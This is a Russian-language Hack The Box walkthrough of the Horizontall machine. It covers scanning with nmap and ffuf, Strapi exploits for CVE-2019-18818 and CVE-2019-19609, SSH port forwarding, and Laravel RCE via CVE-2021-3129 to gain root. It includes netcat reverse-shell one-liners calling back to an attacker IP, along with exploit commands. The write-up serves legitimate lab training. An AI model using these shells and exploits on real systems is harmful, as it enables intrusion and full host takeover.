Хакер - HTB Horizontall. Захватываем веб-сервер через уязвимости в Strapi и Laravel

Хакер - HTB Horizontall. Захватываем веб-сервер через уязвимости в Strapi и Laravel

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование веб-контента
  • Точка входа
  • Strapi CMS
  • Точка опоры
  • Локальное повышение привилегий
  • Local Port Forwarding
  • Laravel

Се­год­ня мы с тобой прой­дем лег­кую машину Horizontall с пло­щад­ки Hack The Box. Для победы нам понадо­бит­ся про­экс­плу­ати­ровать ряд уяз­вимос­тей в Strapi, а затем повысить при­виле­гии через уяз­вимость в Laravel 8. Пог­нали!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Как обыч­но, добав­ляем IP-адрес машины в /etc/hosts, что­бы даль­ше обра­щать­ся по наз­ванию:

10.10.11.105 horizontall.htb

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На хос­те откры­ты два стан­дар­тных пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер Nginx 1.14.0). SSH пока что про­пус­тим и нап­равим­ся смот­реть, что есть на веб‑сер­вере.

Стар­товая стра­ница сай­та horizontall.htb

Там находим однос­тра­нич­ный сайт, который, на пер­вый взгляд, исполь­зует какую‑то готовую тех­нологию (то есть сайт не самопис­ный).

Сканирование веб-контента

По­ка что работать не с чем — нуж­но даль­ше искать точ­ки вхо­да. А ищут их в таких слу­чаях при помощи перебо­ра катало­гов по сло­варю.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

На­бира­ем:

ffuf -u http://horizontall.htb/FUZZ -fc 403 -t 300 -w directory_2.3_medium.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Но ничего инте­рес­ного не находим.

Ес­ли не наш­ли катало­ги и стра­ницы, то сто­ит еще поис­кать под­домены. Что­бы обра­тить­ся к вир­туаль­ному хос­ту, нуж­но ука­зать этот вир­туаль­ный хост в заголов­ке Host про­токо­ла HTTP. Имен­но это мес­то мы и пометим для перебо­ра с помощью того же ffuf. Сло­варь subdomains-top1million-110000.txt так­же берем из набора SecLists.

ffuf -u http://horizontall.htb/ -H 'Host: FUZZ.horizontall.htb' -t 300 -w subdomains-top1million-110000.txt

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

В выводе отра­жают­ся вооб­ще все вари­анты. Обра­тим вни­мание на код отве­та 301 — перенап­равле­ние на дру­гую стра­ницу. Исклю­чим его из вывода (опция -fc 301).

ffuf -u http://horizontall.htb/ -H 'Host: FUZZ.horizontall.htb' -fc 301 -t 300 -w subdomains-top1million-110000.txt

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

Те­перь в отве­те находим все­го два вари­анта: www и api-prod. Добав­ляем их в файл /etc/hosts.

10.10.11.105 www.horizontall.htb api-prod.horizontall.htb

Пер­вый ведет на преж­ний сайт, а вот при обра­щении к api-prod.horizontall.htb получа­ем пус­тую стра­ницу с над­писью Welcome. На сай­те есть файл robots.txt, но он тоже не рас­кры­вает никакой информа­ции.

Со­дер­жимое фай­ла robots.txt

Сно­ва прос­каниру­ем дирек­тории с ffuf, и на этот раз мы наконец находим допол­нитель­ный кон­тент.

ffuf -u http://api-prod.horizontall.htb/FUZZ -fc 403 -t 300 -w directory_2.3_medium.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

ТОЧКА ВХОДА

От­метим, что мы заод­но наш­ли име­на поль­зовате­лей. Ска­ниро­вание дирек­торий на новом сай­те дало две стра­ницы. При обра­щении к reviews получим какой‑то спи­сок ком­мента­риев в фор­мате JSON.

Со­дер­жимое стра­ницы reviews

При обра­щении к стра­нице admin никаких полез­ных дан­ных мы не получим. Но в исходном коде упо­мина­ется strapi.

Ис­ходный код стра­ницы admin

Strapi CMS

Strapi — это фрей­мворк для управле­ния кон­тентом, работа­ющий на Node.js. Это так называ­емая headless CMS, она отве­чает толь­ко за бэкенд (дан­ные) и может вза­имо­дей­ство­вать с любыми плат­форма­ми пред­став­ления, будь то сай­ты или при­ложе­ния. Эта тех­нология широко при­меня­ется, а зна­чит, для нее будет нес­ложно най­ти хорошо задоку­мен­тирован­ные экс­пло­иты, при­чем не в одном вари­анте. Искать мож­но при помощи Google, написав, к при­меру, strapi exploit.

По­иск экс­пло­итов

Пер­вые же ссыл­ки дают нам экс­пло­иты для уда­лен­ного выпол­нения кода (RCE) и уста­нов­ки про­изволь­ного пароля. Помет­ка Unauthenticated сооб­щает о том, что баг сра­бота­ет даже без авто­риза­ции.

Экс­пло­ит для уста­нов­ки пароля исполь­зует уяз­вимость CVE-2019-18818 — зап­росы на сброс пароля обра­баты­вают­ся неп­равиль­но, что поз­воля­ет без авто­риза­ции изме­нить пароль поль­зовате­ля. В коде экс­пло­ита находим зап­рос про­вер­ки вер­сии.

Код экс­пло­ита

Про­верим текущую вер­сию Strapi, пос­коль­ку экс­пло­ит при­меним к вер­сиям до 3.0.0-beta.

curl http://api-prod.horizontall.htb/admin/strapiVersion

Зап­рос вер­сии экс­пло­ита

Те­кущая вер­сия удов­летво­ряет усло­вию, поэто­му под­пра­вим код экс­пло­ита.

Код экс­пло­ита

В самом начале фай­ла (стро­ки 15–17) ука­зыва­ем свои парамет­ры: элек­трон­ную поч­ту поль­зовате­ля, URL и новый пароль.

userEmail = "admin@horizontall.htb"

strapiUrl = "http://api-prod.horizontall.htb"

newPassword = "admin"

Пос­ле сох­ранения изме­нений выпол­ним экс­пло­ит.

Ре­зуль­тат выпол­нения скрип­та

Те­перь перей­дем к стра­нице авто­риза­ции /admin/auth/login и авто­ризу­емся как admin:admin.

Ад­минис­тра­тив­ная стра­ница сай­та

ТОЧКА ОПОРЫ

Те­перь обра­тим вни­мание на дру­гой экс­пло­ит, который дол­жен дать нам уда­лен­ное выпол­нение кода (RCE). В админке есть ком­понент для уста­нов­ки и уда­ления пла­гинов. Уяз­вимость CVE-2019-19609 осно­вана на том, что сис­тема не очи­щает имя пла­гина, а это поз­воля­ет ата­кующе­му переда­вать и выпол­нить про­изволь­ный код.

К моему удив­лению, этот экс­пло­ит уже содер­жал модуль для получе­ния и уста­нов­ки пароля. Во вре­мя работы экс­пло­ит зап­росит коман­ду для выпол­нения. Давай откро­ем лис­тенер netcat (коман­да rlwrap nc -lvp [port]) и переда­дим экс­пло­иту вот такой реверс‑шелл:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f

Вы­пол­нение экс­пло­ита
По­лучен­ный бэк­коннект

По­луча­ем обо­лоч­ку TTY и чита­ем пер­вый флаг.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нам нужен флаг адми­нис­тра­тора, а для его получе­ния пот­ребу­ется повысить при­виле­гии. Для поис­ка путей к это­му мож­но исполь­зовать скрип­ты PEASS, но сна­чала луч­ше про­верить в наибо­лее оче­вид­ных мес­тах: нас­трой­ки sudoers, при­ложе­ния с битом SUID, запущен­ные про­цес­сы, откры­тые для локаль­ного исполь­зования пор­ты. Нам везет с пос­ледним — на локал­хосте открыт порт 8000.

netstat -tulpan

Прос­лушива­емые пор­ты

Local Port Forwarding

Что­бы прос­мотреть, что он нам может вер­нуть, будем тун­нелиро­вать тра­фик. Но сна­чала орга­низу­ем SSH-соеди­нение. На локаль­ной машине сге­нери­руем пару клю­чей коман­дой ssh-keygen. А затем запишем пуб­личный ключ (рас­ширение .pub) на уда­лен­ный хост.

echo 'ssh-rsa AAAAB...' > ~/.ssh/authorized_keys

Те­перь про­киды­ваем порт:

ssh -L 8000:127.0.0.1:8000 -i id_rsa strapi@horizontall.htb

Та­ким обра­зом, весь тра­фик, который мы пош­лем на локаль­ный порт 8000, будет тун­нелиро­ван на порт 8000 уда­лен­ного устрой­ства. Обра­тим­ся к 127.0.0.1:8000 через бра­узер и получим глав­ную стра­ницу сай­та.

Глав­ная стра­ница сай­та

Так мы узна­ем, что здесь уста­нов­лена CMS Laravel вер­сии 8.

Laravel

Это еще одна популяр­ная тех­нология, так что дос­таточ­но загуг­лить «Laravel v8 (PHP v7.4.18) exploit», и мы най­дем упо­мина­ние уяз­вимос­ти CVE-2021-3129.

По­иск экс­пло­итов

По­ищем готовые экс­пло­иты имен­но для нее. И оста­новим­ся на пер­вом.

По­иск экс­пло­итов

Кри­тичес­кая уяз­вимость CVE-2021-3129 поз­воля­ет зло­умыш­ленни­ку выпол­нить про­изволь­ный код на сер­вере. Уяз­вимость воз­ника­ет, если вклю­чен режим отладки и акти­виро­ван модуль ignition, отве­чающий за генера­цию стра­ниц с ошиб­ками в Laravel.

Ре­жим отладки в Laravel помога­ет решать проб­лемы, воз­ника­ющие по ходу вне­сения изме­нений в код. За путь до изме­няемо­го фай­ла отве­чает параметр ViewFile из MakeViewVariableOptionalSolution.php.

Экс­плу­ата­ция уяз­вимос­ти воз­можна из‑за того, что зло­умыш­ленник, имея дос­туп к жур­налу Laravel, может записать в него вре­донос­ный код и обра­тить­ся к нему, ука­зав путь к это­му жур­налу в парамет­ре viewFile.

INFO

Под­робнее об этой уяз­вимос­ти читай в статье «Уяз­вимость в Laravel. Раз­бира­ем экс­пло­ит, который дает уда­лен­ное выпол­нение кода в популяр­ном PHP-фрей­мвор­ке».

Ис­поль­зуя най­ден­ный ранее экс­пло­ит, поп­робу­ем выпол­нить коман­ду id, как ука­зано в опи­сании.

python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 id

Ре­зуль­тат работы экс­пло­ита

В ито­ге мы даже узна­ем, что коман­да выпол­нилась в кон­тек­сте при­виле­гиро­ван­ной учет­ной записи root. Давай бро­сим исполь­зован­ный ранее реверс‑шелл для пол­ного зах­вата хос­та.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.226 4321 >/tmp/f

По­луче­ние реверс‑шел­ла
Флаг рута

Го­тово! Мы зах­ватили машину и получи­ли флаг рута.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page